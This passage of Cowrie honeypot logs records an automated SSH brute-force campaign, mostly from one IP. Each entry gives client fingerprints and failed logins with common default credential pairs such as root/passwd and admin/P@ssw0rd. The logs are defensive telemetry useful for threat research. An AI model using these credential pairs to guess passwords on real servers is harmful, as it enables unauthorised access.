-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:26.877298Z","src_ip":"192.109.200.78","session":"74539e023532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"123456789","message":"login attempt [sam/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:27.122848Z","src_ip":"192.109.200.78","session":"74539e023532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06958794593811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:27.146655Z","src_ip":"166.62.124.255","session":"4a07f8f3b35a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:28.206585Z","src_ip":"192.109.200.78","session":"74539e023532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36726,"dst_ip":"10.17.0.5","dst_port":22,"session":"202a27d5d1dd","protocol":"ssh","message":"New connection: 192.109.200.78:36726 (10.17.0.5:22) [session: 202a27d5d1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:30.182397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:30.291405Z","src_ip":"192.109.200.78","session":"202a27d5d1dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:30.297718Z","src_ip":"192.109.200.78","session":"202a27d5d1dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password","message":"login attempt [dev/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:30.625592Z","src_ip":"192.109.200.78","session":"202a27d5d1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:31.709680Z","src_ip":"192.109.200.78","session":"202a27d5d1dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48316,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e0254efef25","protocol":"ssh","message":"New connection: 192.109.200.78:48316 (10.17.0.5:22) [session: 3e0254efef25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:33.699579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:33.703570Z","src_ip":"192.109.200.78","session":"3e0254efef25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:33.784307Z","src_ip":"192.109.200.78","session":"3e0254efef25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin@123","message":"login attempt [ubuntu/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:34.027830Z","src_ip":"192.109.200.78","session":"3e0254efef25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:35.111583Z","src_ip":"192.109.200.78","session":"3e0254efef25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":35912,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0e3a5f58286","protocol":"ssh","message":"New connection: 92.207.4.157:35912 (159.203.135.109:22) [session: b0e3a5f58286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:35.258416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:35.264776Z","src_ip":"92.207.4.157","session":"b0e3a5f58286","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:35.365695Z","src_ip":"92.207.4.157","session":"b0e3a5f58286","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Qwe123","message":"login attempt [root/123Qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:35.803773Z","src_ip":"92.207.4.157","session":"b0e3a5f58286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:36.907981Z","src_ip":"92.207.4.157","session":"b0e3a5f58286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48328,"dst_ip":"10.17.0.5","dst_port":22,"session":"3461213fd427","protocol":"ssh","message":"New connection: 192.109.200.78:48328 (10.17.0.5:22) [session: 3461213fd427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:37.104862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:37.107779Z","src_ip":"192.109.200.78","session":"3461213fd427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:37.190000Z","src_ip":"192.109.200.78","session":"3461213fd427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:37.439910Z","src_ip":"192.109.200.78","session":"3461213fd427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:38.524204Z","src_ip":"192.109.200.78","session":"3461213fd427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48344,"dst_ip":"10.17.0.5","dst_port":22,"session":"f299fa72cce6","protocol":"ssh","message":"New connection: 192.109.200.78:48344 (10.17.0.5:22) [session: f299fa72cce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:40.733027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:40.738948Z","src_ip":"192.109.200.78","session":"f299fa72cce6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:40.818969Z","src_ip":"192.109.200.78","session":"f299fa72cce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd","message":"login attempt [admin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:41.062836Z","src_ip":"192.109.200.78","session":"f299fa72cce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:42.145555Z","src_ip":"192.109.200.78","session":"f299fa72cce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41000,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4dee7713eb7","protocol":"ssh","message":"New connection: 192.109.200.78:41000 (10.17.0.5:22) [session: b4dee7713eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:44.162458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:44.167018Z","src_ip":"192.109.200.78","session":"b4dee7713eb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:44.249331Z","src_ip":"192.109.200.78","session":"b4dee7713eb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1qaz@WSX","message":"login attempt [sam/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:44.493263Z","src_ip":"192.109.200.78","session":"b4dee7713eb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:45.576017Z","src_ip":"192.109.200.78","session":"b4dee7713eb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41004,"dst_ip":"10.17.0.5","dst_port":22,"session":"70cdb19c6ccf","protocol":"ssh","message":"New connection: 192.109.200.78:41004 (10.17.0.5:22) [session: 70cdb19c6ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:47.595724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:47.600422Z","src_ip":"192.109.200.78","session":"70cdb19c6ccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:47.682079Z","src_ip":"192.109.200.78","session":"70cdb19c6ccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:48.044394Z","src_ip":"192.109.200.78","session":"70cdb19c6ccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:49.129147Z","src_ip":"192.109.200.78","session":"70cdb19c6ccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41008,"dst_ip":"10.17.0.5","dst_port":22,"session":"611c0da441cb","protocol":"ssh","message":"New connection: 192.109.200.78:41008 (10.17.0.5:22) [session: 611c0da441cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:51.224035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:51.226955Z","src_ip":"192.109.200.78","session":"611c0da441cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:51.306972Z","src_ip":"192.109.200.78","session":"611c0da441cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"Ab123456","message":"login attempt [alex/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:51.550488Z","src_ip":"192.109.200.78","session":"611c0da441cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:52.633837Z","src_ip":"192.109.200.78","session":"611c0da441cb","protocol":"ssh"}
